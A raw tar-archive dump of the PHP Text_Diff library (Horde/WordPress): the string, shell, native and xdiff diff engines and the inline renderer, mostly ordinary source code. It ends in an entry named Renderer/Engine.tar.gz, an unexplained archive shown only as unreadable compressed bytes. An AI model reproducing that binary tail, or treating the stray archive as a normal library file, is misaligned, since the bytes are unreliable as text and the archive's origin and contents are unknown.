 * $diff = new Text_Diff('string', array($patch));
 * $renderer = new Text_Diff_Renderer_inline();
 * echo $renderer->render($diff);
 * </code>
 *
 * Copyright 2005 Örjan Persson <o@42mm.org>
 * Copyright 2005-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Örjan Persson <o@42mm.org>
 * @package Text_Diff
 * @since   0.2.0
 */
class Text_Diff_Engine_string {

    /**
     * Parses a unified or context diff.
     *
     * First param contains the whole diff and the second can be used to force
     * a specific diff type. If the second parameter is 'autodetect', the
     * diff will be examined to find out which type of diff this is.
     *
     * @param string $diff  The diff content.
     * @param string $mode  The diff mode of the content in $diff. One of
     *                      'context', 'unified', or 'autodetect'.
     *
     * @return array  List of all diff operations.
     */
    function diff($diff, $mode = 'autodetect')
    {
        // Detect line breaks.
        $lnbr = "\n";
        if (strpos($diff, "\r\n") !== false) {
            $lnbr = "\r\n";
        } elseif (strpos($diff, "\r") !== false) {
            $lnbr = "\r";
        }

        // Make sure we have a line break at the EOF.
        if (substr($diff, -strlen($lnbr)) != $lnbr) {
            $diff .= $lnbr;
        }

        if ($mode != 'autodetect' && $mode != 'context' && $mode != 'unified') {
            return PEAR::raiseError('Type of diff is unsupported');
        }

        if ($mode == 'autodetect') {
            $context = strpos($diff, '***');
            $unified = strpos($diff, '---');
            if ($context === $unified) {
                return PEAR::raiseError('Type of diff could not be detected');
            } elseif ($context === false || $unified === false) {
                $mode = $context !== false ? 'context' : 'unified';
            } else {
                $mode = $context < $unified ? 'context' : 'unified';
            }
        }

        // Split by new line and remove the diff header, if there is one.
        $diff = explode($lnbr, $diff);
        if (($mode == 'context' && strpos($diff[0], '***') === 0) ||
            ($mode == 'unified' && strpos($diff[0], '---') === 0)) {
            array_shift($diff);
            array_shift($diff);
        }

        if ($mode == 'context') {
            return $this->parseContextDiff($diff);
        } else {
            return $this->parseUnifiedDiff($diff);
        }
    }

    /**
     * Parses an array containing the unified diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseUnifiedDiff($diff)
    {
        $edits = array();
        $end = count($diff) - 1;
        for ($i = 0; $i < $end;) {
            $diff1 = array();
            switch (substr($diff[$i], 0, 1)) {
            case ' ':
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == ' ');
                $edits[] = new Text_Diff_Op_copy($diff1);
                break;

            case '+':
                // get all new lines
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '+');
                $edits[] = new Text_Diff_Op_add($diff1);
                break;

            case '-':
                // get changed or removed lines
                $diff2 = array();
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '-');

                while ($i < $end && substr($diff[$i], 0, 1) == '+') {
                    $diff2[] = substr($diff[$i++], 1);
                }
                if (count($diff2) == 0) {
                    $edits[] = new Text_Diff_Op_delete($diff1);
                } else {
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                }
                break;

            default:
                $i++;
                break;
            }
        }

        return $edits;
    }

    /**
     * Parses an array containing the context diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseContextDiff(&$diff)
    {
        $edits = array();
        $i = $max_i = $j = $max_j = 0;
        $end = count($diff) - 1;
        while ($i < $end && $j < $end) {
            while ($i >= $max_i && $j >= $max_j) {
                // Find the boundaries of the diff output of the two files
                for ($i = $j;
                     $i < $end && substr($diff[$i], 0, 3) == '***';
                     $i++);
                for ($max_i = $i;
                     $max_i < $end && substr($diff[$max_i], 0, 3) != '---';
                     $max_i++);
                for ($j = $max_i;
                     $j < $end && substr($diff[$j], 0, 3) == '---';
                     $j++);
                for ($max_j = $j;
                     $max_j < $end && substr($diff[$max_j], 0, 3) != '***';
                     $max_j++);
            }

            // find what hasn't been changed
            $array = array();
            while ($i < $max_i &&
                   $j < $max_j &&
                   strcmp($diff[$i], $diff[$j]) == 0) {
                $array[] = substr($diff[$i], 2);
                $i++;
                $j++;
            }

            while ($i < $max_i && ($max_j-$j) <= 1) {
                if ($diff[$i] != '' && substr($diff[$i], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$i++], 2);
            }

            while ($j < $max_j && ($max_i-$i) <= 1) {
                if ($diff[$j] != '' && substr($diff[$j], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$j++], 2);
            }
            if (count($array) > 0) {
                $edits[] = new Text_Diff_Op_copy($array);
            }

            if ($i < $max_i) {
                $diff1 = array();
                switch (substr($diff[$i], 0, 1)) {
                case '!':
                    $diff2 = array();
                    do {
                        $diff1[] = substr($diff[$i], 2);
                        if ($j < $max_j && substr($diff[$j], 0, 1) == '!') {
                            $diff2[] = substr($diff[$j++], 2);
                        }
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '!');
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                    break;

                case '+':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff1);
                    break;

                case '-':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff1);
                    break;
                }
            }

            if ($j < $max_j) {
                $diff2 = array();
                switch (substr($diff[$j], 0, 1)) {
                case '+':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff2);
                    break;

                case '-':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff2);
                    break;
                }
            }
        }

        return $edits;
    }

}
                                                                                                                                                                                                                                                                                                                                                                     shell.php                                                                                           0000644                 00000012123 15217301663 0006367 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the Unix `diff` program via shell_exec to compute the
 * differences between the two input arrays.
 *
 * Copyright 2007-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Milian Wolff <mail@milianw.de>
 * @package Text_Diff
 * @since   0.3.0
 */
class Text_Diff_Engine_shell {

    /**
     * Path to the diff executable
     *
     * @var string
     */
    var $_diffCommand = 'diff';

    /**
     * Returns the array of differences.
     *
     * @param array $from_lines lines of text from old file
     * @param array $to_lines   lines of text from new file
     *
     * @return array all changes made (array with Text_Diff_Op_* objects)
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $temp_dir = Text_Diff::_getTempDir();

        // Execute gnu diff or similar to get a standard diff file.
        $from_file = tempnam($temp_dir, 'Text_Diff');
        $to_file = tempnam($temp_dir, 'Text_Diff');
        $fp = fopen($from_file, 'w');
        fwrite($fp, implode("\n", $from_lines));
        fclose($fp);
        $fp = fopen($to_file, 'w');
        fwrite($fp, implode("\n", $to_lines));
        fclose($fp);
        $diff = shell_exec($this->_diffCommand . ' ' . $from_file . ' ' . $to_file);
        unlink($from_file);
        unlink($to_file);

        if (is_null($diff)) {
            // No changes were made
            return array(new Text_Diff_Op_copy($from_lines));
        }

        $from_line_no = 1;
        $to_line_no = 1;
        $edits = array();

        // Get changed lines by parsing something like:
        // 0a1,2
        // 1,2c4,6
        // 1,5d6
        preg_match_all('#^(\d+)(?:,(\d+))?([adc])(\d+)(?:,(\d+))?$#m', $diff,
            $matches, PREG_SET_ORDER);

        foreach ($matches as $match) {
            if (!isset($match[5])) {
                // This paren is not set every time (see regex).
                $match[5] = false;
            }

            if ($match[3] == 'a') {
                $from_line_no--;
            }

            if ($match[3] == 'd') {
                $to_line_no--;
            }

            if ($from_line_no < $match[1] || $to_line_no < $match[4]) {
                // copied lines
                assert($match[1] - $from_line_no == $match[4] - $to_line_no);
                array_push($edits,
                    new Text_Diff_Op_copy(
                        $this->_getLines($from_lines, $from_line_no, $match[1] - 1),
                        $this->_getLines($to_lines, $to_line_no, $match[4] - 1)));
            }

            switch ($match[3]) {
            case 'd':
                // deleted lines
                array_push($edits,
                    new Text_Diff_Op_delete(
                        $this->_getLines($from_lines, $from_line_no, $match[2])));
                $to_line_no++;
                break;

            case 'c':
                // changed lines
                array_push($edits,
                    new Text_Diff_Op_change(
                        $this->_getLines($from_lines, $from_line_no, $match[2]),
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                break;

            case 'a':
                // added lines
                array_push($edits,
                    new Text_Diff_Op_add(
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                $from_line_no++;
                break;
            }
        }

        if (!empty($from_lines)) {
            // Some lines might still be pending. Add them as copied
            array_push($edits,
                new Text_Diff_Op_copy(
                    $this->_getLines($from_lines, $from_line_no,
                                     $from_line_no + count($from_lines) - 1),
                    $this->_getLines($to_lines, $to_line_no,
                                     $to_line_no + count($to_lines) - 1)));
        }

        return $edits;
    }

    /**
     * Get lines from either the old or new text
     *
     * @access private
     *
     * @param array $text_lines Either $from_lines or $to_lines (passed by reference).
     * @param int   $line_no    Current line number (passed by reference).
     * @param int   $end        Optional end line, when we want to chop more
     *                          than one line.
     *
     * @return array The chopped lines
     */
    function _getLines(&$text_lines, &$line_no, $end = false)
    {
        if (!empty($end)) {
            $lines = array();
            // We can shift even more
            while ($line_no <= $end) {
                array_push($lines, array_shift($text_lines));
                $line_no++;
            }
        } else {
            $lines = array(array_shift($text_lines));
            $line_no++;
        }

        return $lines;
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                             native.php                                                                                          0000644                 00000037261 15217301663 0006560 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Class used internally by Text_Diff to actually compute the diffs.
 *
 * This class is implemented using native PHP code.
 *
 * The algorithm used here is mostly lifted from the perl module
 * Algorithm::Diff (version 1.06) by Ned Konz, which is available at:
 * https://cpan.metacpan.org/authors/id/N/NE/NEDKONZ/Algorithm-Diff-1.06.zip
 *
 * More ideas are taken from: http://www.ics.uci.edu/~eppstein/161/960229.html
 *
 * Some ideas (and a bit of code) are taken from analyze.c, of GNU
 * diffutils-2.7, which can be found at:
 * ftp://gnudist.gnu.org/pub/gnu/diffutils/diffutils-2.7.tar.gz
 *
 * Some ideas (subdivision by NCHUNKS > 2, and some optimizations) are from
 * Geoffrey T. Dairiki <dairiki@dairiki.org>. The original PHP version of this
 * code was written by him, and is used/adapted with his permission.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_native {

    public $xchanged;
    public $ychanged;
    public $xv;
    public $yv;
    public $xind;
    public $yind;
    public $seq;
    public $in_seq;
    public $lcs;

    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $n_from = count($from_lines);
        $n_to = count($to_lines);

        $this->xchanged = $this->ychanged = array();
        $this->xv = $this->yv = array();
        $this->xind = $this->yind = array();
        unset($this->seq);
        unset($this->in_seq);
        unset($this->lcs);

        // Skip leading common lines.
        for ($skip = 0; $skip < $n_from && $skip < $n_to; $skip++) {
            if ($from_lines[$skip] !== $to_lines[$skip]) {
                break;
            }
            $this->xchanged[$skip] = $this->ychanged[$skip] = false;
        }

        // Skip trailing common lines.
        $xi = $n_from; $yi = $n_to;
        for ($endskip = 0; --$xi > $skip && --$yi > $skip; $endskip++) {
            if ($from_lines[$xi] !== $to_lines[$yi]) {
                break;
            }
            $this->xchanged[$xi] = $this->ychanged[$yi] = false;
        }

        // Ignore lines which do not exist in both files.
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $xhash[$from_lines[$xi]] = 1;
        }
        for ($yi = $skip; $yi < $n_to - $endskip; $yi++) {
            $line = $to_lines[$yi];
            if (($this->ychanged[$yi] = empty($xhash[$line]))) {
                continue;
            }
            $yhash[$line] = 1;
            $this->yv[] = $line;
            $this->yind[] = $yi;
        }
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $line = $from_lines[$xi];
            if (($this->xchanged[$xi] = empty($yhash[$line]))) {
                continue;
            }
            $this->xv[] = $line;
            $this->xind[] = $xi;
        }

        // Find the LCS.
        $this->_compareseq(0, count($this->xv), 0, count($this->yv));

        // Merge edits when possible.
        $this->_shiftBoundaries($from_lines, $this->xchanged, $this->ychanged);
        $this->_shiftBoundaries($to_lines, $this->ychanged, $this->xchanged);

        // Compute the edit operations.
        $edits = array();
        $xi = $yi = 0;
        while ($xi < $n_from || $yi < $n_to) {
            assert($yi < $n_to || $this->xchanged[$xi]);
            assert($xi < $n_from || $this->ychanged[$yi]);

            // Skip matching "snake".
            $copy = array();
            while ($xi < $n_from && $yi < $n_to
                   && !$this->xchanged[$xi] && !$this->ychanged[$yi]) {
                $copy[] = $from_lines[$xi++];
                ++$yi;
            }
            if ($copy) {
                $edits[] = new Text_Diff_Op_copy($copy);
            }

            // Find deletes & adds.
            $delete = array();
            while ($xi < $n_from && $this->xchanged[$xi]) {
                $delete[] = $from_lines[$xi++];
            }

            $add = array();
            while ($yi < $n_to && $this->ychanged[$yi]) {
                $add[] = $to_lines[$yi++];
            }

            if ($delete && $add) {
                $edits[] = new Text_Diff_Op_change($delete, $add);
            } elseif ($delete) {
                $edits[] = new Text_Diff_Op_delete($delete);
            } elseif ($add) {
                $edits[] = new Text_Diff_Op_add($add);
            }
        }

        return $edits;
    }

    /**
     * Divides the Largest Common Subsequence (LCS) of the sequences (XOFF,
     * XLIM) and (YOFF, YLIM) into NCHUNKS approximately equally sized
     * segments.
     *
     * Returns (LCS, PTS).  LCS is the length of the LCS. PTS is an array of
     * NCHUNKS+1 (X, Y) indexes giving the diving points between sub
     * sequences.  The first sub-sequence is contained in (X0, X1), (Y0, Y1),
     * the second in (X1, X2), (Y1, Y2) and so on.  Note that (X0, Y0) ==
     * (XOFF, YOFF) and (X[NCHUNKS], Y[NCHUNKS]) == (XLIM, YLIM).
     *
     * This function assumes that the first lines of the specified portions of
     * the two files do not match, and likewise that the last lines do not
     * match.  The caller must trim matching lines from the beginning and end
     * of the portions it is going to specify.
     */
    function _diag ($xoff, $xlim, $yoff, $ylim, $nchunks)
    {
        $flip = false;

        if ($xlim - $xoff > $ylim - $yoff) {
            /* Things seems faster (I'm not sure I understand why) when the
             * shortest sequence is in X. */
            $flip = true;
            list ($xoff, $xlim, $yoff, $ylim)
                = array($yoff, $ylim, $xoff, $xlim);
        }

        if ($flip) {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->xv[$i]][] = $i;
            }
        } else {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->yv[$i]][] = $i;
            }
        }

        $this->lcs = 0;
        $this->seq[0]= $yoff - 1;
        $this->in_seq = array();
        $ymids[0] = array();

        $numer = $xlim - $xoff + $nchunks - 1;
        $x = $xoff;
        for ($chunk = 0; $chunk < $nchunks; $chunk++) {
            if ($chunk > 0) {
                for ($i = 0; $i <= $this->lcs; $i++) {
                    $ymids[$i][$chunk - 1] = $this->seq[$i];
                }
            }

            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $chunk) / $nchunks);
            for (; $x < $x1; $x++) {
                $line = $flip ? $this->yv[$x] : $this->xv[$x];
                if (empty($ymatches[$line])) {
                    continue;
                }
                $matches = $ymatches[$line];
                reset($matches);
                while ($y = current($matches)) {
                    if (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                        break;
                    }
                    next($matches);
                }
                while ($y = current($matches)) {
                    if ($y > $this->seq[$k - 1]) {
                        assert($y <= $this->seq[$k]);
                        /* Optimization: this is a common case: next match is
                         * just replacing previous match. */
                        $this->in_seq[$this->seq[$k]] = false;
                        $this->seq[$k] = $y;
                        $this->in_seq[$y] = 1;
                    } elseif (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                    }
                    next($matches);
                }
            }
        }

        $seps[] = $flip ? array($yoff, $xoff) : array($xoff, $yoff);
        $ymid = $ymids[$this->lcs];
        for ($n = 0; $n < $nchunks - 1; $n++) {
            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $n) / $nchunks);
            $y1 = $ymid[$n] + 1;
            $seps[] = $flip ? array($y1, $x1) : array($x1, $y1);
        }
        $seps[] = $flip ? array($ylim, $xlim) : array($xlim, $ylim);

        return array($this->lcs, $seps);
    }

    function _lcsPos($ypos)
    {
        $end = $this->lcs;
        if ($end == 0 || $ypos > $this->seq[$end]) {
            $this->seq[++$this->lcs] = $ypos;
            $this->in_seq[$ypos] = 1;
            return $this->lcs;
        }

        $beg = 1;
        while ($beg < $end) {
            $mid = (int)(($beg + $end) / 2);
            if ($ypos > $this->seq[$mid]) {
                $beg = $mid + 1;
            } else {
                $end = $mid;
            }
        }

        assert($ypos != $this->seq[$end]);

        $this->in_seq[$this->seq[$end]] = false;
        $this->seq[$end] = $ypos;
        $this->in_seq[$ypos] = 1;
        return $end;
    }

    /**
     * Finds LCS of two sequences.
     *
     * The results are recorded in the vectors $this->{x,y}changed[], by
     * storing a 1 in the element for each line that is an insertion or
     * deletion (ie. is not in the LCS).
     *
     * The subsequence of file 0 is (XOFF, XLIM) and likewise for file 1.
     *
     * Note that XLIM, YLIM are exclusive bounds.  All line numbers are
     * origin-0 and discarded lines are not counted.
     */
    function _compareseq ($xoff, $xlim, $yoff, $ylim)
    {
        /* Slide down the bottom initial diagonal. */
        while ($xoff < $xlim && $yoff < $ylim
               && $this->xv[$xoff] == $this->yv[$yoff]) {
            ++$xoff;
            ++$yoff;
        }

        /* Slide up the top initial diagonal. */
        while ($xlim > $xoff && $ylim > $yoff
               && $this->xv[$xlim - 1] == $this->yv[$ylim - 1]) {
            --$xlim;
            --$ylim;
        }

        if ($xoff == $xlim || $yoff == $ylim) {
            $lcs = 0;
        } else {
            /* This is ad hoc but seems to work well.  $nchunks =
             * sqrt(min($xlim - $xoff, $ylim - $yoff) / 2.5); $nchunks =
             * max(2,min(8,(int)$nchunks)); */
            $nchunks = min(7, $xlim - $xoff, $ylim - $yoff) + 1;
            list($lcs, $seps)
                = $this->_diag($xoff, $xlim, $yoff, $ylim, $nchunks);
        }

        if ($lcs == 0) {
            /* X and Y sequences have no common subsequence: mark all
             * changed. */
            while ($yoff < $ylim) {
                $this->ychanged[$this->yind[$yoff++]] = 1;
            }
            while ($xoff < $xlim) {
                $this->xchanged[$this->xind[$xoff++]] = 1;
            }
        } else {
            /* Use the partitions to split this problem into subproblems. */
            reset($seps);
            $pt1 = $seps[0];
            while ($pt2 = next($seps)) {
                $this->_compareseq ($pt1[0], $pt2[0], $pt1[1], $pt2[1]);
                $pt1 = $pt2;
            }
        }
    }

    /**
     * Adjusts inserts/deletes of identical lines to join changes as much as
     * possible.
     *
     * We do something when a run of changed lines include a line at one end
     * and has an excluded, identical line at the other.  We are free to
     * choose which identical line is included.  `compareseq' usually chooses
     * the one at the beginning, but usually it is cleaner to consider the
     * following identical line to be the "change".
     *
     * This is extracted verbatim from analyze.c (GNU diffutils-2.7).
     */
    function _shiftBoundaries($lines, &$changed, $other_changed)
    {
        $i = 0;
        $j = 0;

        assert(count($lines) == count($changed));
        $len = count($lines);
        $other_len = count($other_changed);

        while (1) {
            /* Scan forward to find the beginning of another run of
             * changes. Also keep track of the corresponding point in the
             * other file.
             *
             * Throughout this code, $i and $j are adjusted together so that
             * the first $i elements of $changed and the first $j elements of
             * $other_changed both contain the same number of zeros (unchanged
             * lines).
             *
             * Furthermore, $j is always kept so that $j == $other_len or
             * $other_changed[$j] == false. */
            while ($j < $other_len && $other_changed[$j]) {
                $j++;
            }

            while ($i < $len && ! $changed[$i]) {
                assert($j < $other_len && ! $other_changed[$j]);
                $i++; $j++;
                while ($j < $other_len && $other_changed[$j]) {
                    $j++;
                }
            }

            if ($i == $len) {
                break;
            }

            $start = $i;

            /* Find the end of this run of changes. */
            while (++$i < $len && $changed[$i]) {
                continue;
            }

            do {
                /* Record the length of this run of changes, so that we can
                 * later determine whether the run has grown. */
                $runlength = $i - $start;

                /* Move the changed region back, so long as the previous
                 * unchanged line matches the last changed one.  This merges
                 * with previous changed regions. */
                while ($start > 0 && $lines[$start - 1] == $lines[$i - 1]) {
                    $changed[--$start] = 1;
                    $changed[--$i] = false;
                    while ($start > 0 && $changed[$start - 1]) {
                        $start--;
                    }
                    assert($j > 0);
                    while ($other_changed[--$j]) {
                        continue;
                    }
                    assert($j >= 0 && !$other_changed[$j]);
                }

                /* Set CORRESPONDING to the end of the changed run, at the
                 * last point where it corresponds to a changed run in the
                 * other file. CORRESPONDING == LEN means no such point has
                 * been found. */
                $corresponding = $j < $other_len ? $i : $len;

                /* Move the changed region forward, so long as the first
                 * changed line matches the following unchanged one.  This
                 * merges with following changed regions.  Do this second, so
                 * that if there are no merges, the changed region is moved
                 * forward as far as possible. */
                while ($i < $len && $lines[$start] == $lines[$i]) {
                    $changed[$start++] = false;
                    $changed[$i++] = 1;
                    while ($i < $len && $changed[$i]) {
                        $i++;
                    }

                    assert($j < $other_len && ! $other_changed[$j]);
                    $j++;
                    if ($j < $other_len && $other_changed[$j]) {
                        $corresponding = $i;
                        while ($j < $other_len && $other_changed[$j]) {
                            $j++;
                        }
                    }
                }
            } while ($runlength != $i - $start);

            /* If possible, move the fully-merged run of changes back to a
             * corresponding run in the other file. */
            while ($corresponding < $i) {
                $changed[--$start] = 1;
                $changed[--$i] = 0;
                assert($j > 0);
                while ($other_changed[--$j]) {
                    continue;
                }
                assert($j >= 0 && !$other_changed[$j]);
            }
        }
    }

}
                                                                                                                                                                                                                                                                                                                                               xdiff.php                                                                                           0000644                 00000004233 15217301663 0006363 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the xdiff PECL package (http://pecl.php.net/package/xdiff)
 * to compute the differences between the two input arrays.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Jon Parise <jon@horde.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_xdiff {

    /**
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        /* Convert the two input arrays into strings for xdiff processing. */
        $from_string = implode("\n", $from_lines);
        $to_string = implode("\n", $to_lines);

        /* Diff the two strings and convert the result to an array. */
        $diff = xdiff_string_diff($from_string, $to_string, count($to_lines));
        $diff = explode("\n", $diff);

        /* Walk through the diff one line at a time.  We build the $edits
         * array of diff operations by reading the first character of the
         * xdiff output (which is in the "unified diff" format).
         *
         * Note that we don't have enough information to detect "changed"
         * lines using this approach, so we can't add Text_Diff_Op_changed
         * instances to the $edits array.  The result is still perfectly
         * valid, albeit a little less descriptive and efficient. */
        $edits = array();
        foreach ($diff as $line) {
            if (!strlen($line)) {
                continue;
            }
            switch ($line[0]) {
            case ' ':
                $edits[] = new Text_Diff_Op_copy(array(substr($line, 1)));
                break;

            case '+':
                $edits[] = new Text_Diff_Op_add(array(substr($line, 1)));
                break;

            case '-':
                $edits[] = new Text_Diff_Op_delete(array(substr($line, 1)));
                break;
            }
        }

        return $edits;
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     Renderer/inline.php                                                                                 0000644                 00000012630 15217306007 0010304 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                        Renderer/Engine.tar.gz                                                                              0000644                 00000017123 15217306007 0010653 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             =v8@2:mչ/dwO$} 	6ErHʒ2*\$;tOoxrb	
Bn(ip܍'~ϓGn?~<y˟<~5r(,ͼ}o`mv%)O,#,J_dl(FE,elDS]M8fDsqSԈ̟C6?유YEl>>d!wJcKoٔP[I!OxRnvFp.@)s:O&,k4(O2?f?ɥi٣%ڝ%CNkN,yw`^Ks"3 JaRx_}F0Eyr&B624_~weߏ2Ve,>SRqH(X,%
v/Ag3~2@#1gJS1vPһ^Zuadܻ)>U:f"I3{7zS"|pHE)Cø.8!ճisci}ٗMẻV{g@- 0R34$j>A}2a
X6F;=LOM8V[гjHH@u?jHgKMwKM|iIQA³YʵKHx@
3!7c,\m5B-{^_vpJÆ(L5|oJň5lq5-věeQ@}dj;nv,A2/=~m8瀇M갅ɾ+tկN9a_}4K5Urr^≔'I4ERKgq%YagcՂ'mk{{NTt:ʄhe6͂!~/r@E
;?A1$U7ð/ƚ׽|6]Xl h35KmfX@ku@§5ϭ	*h@'`(䖔P
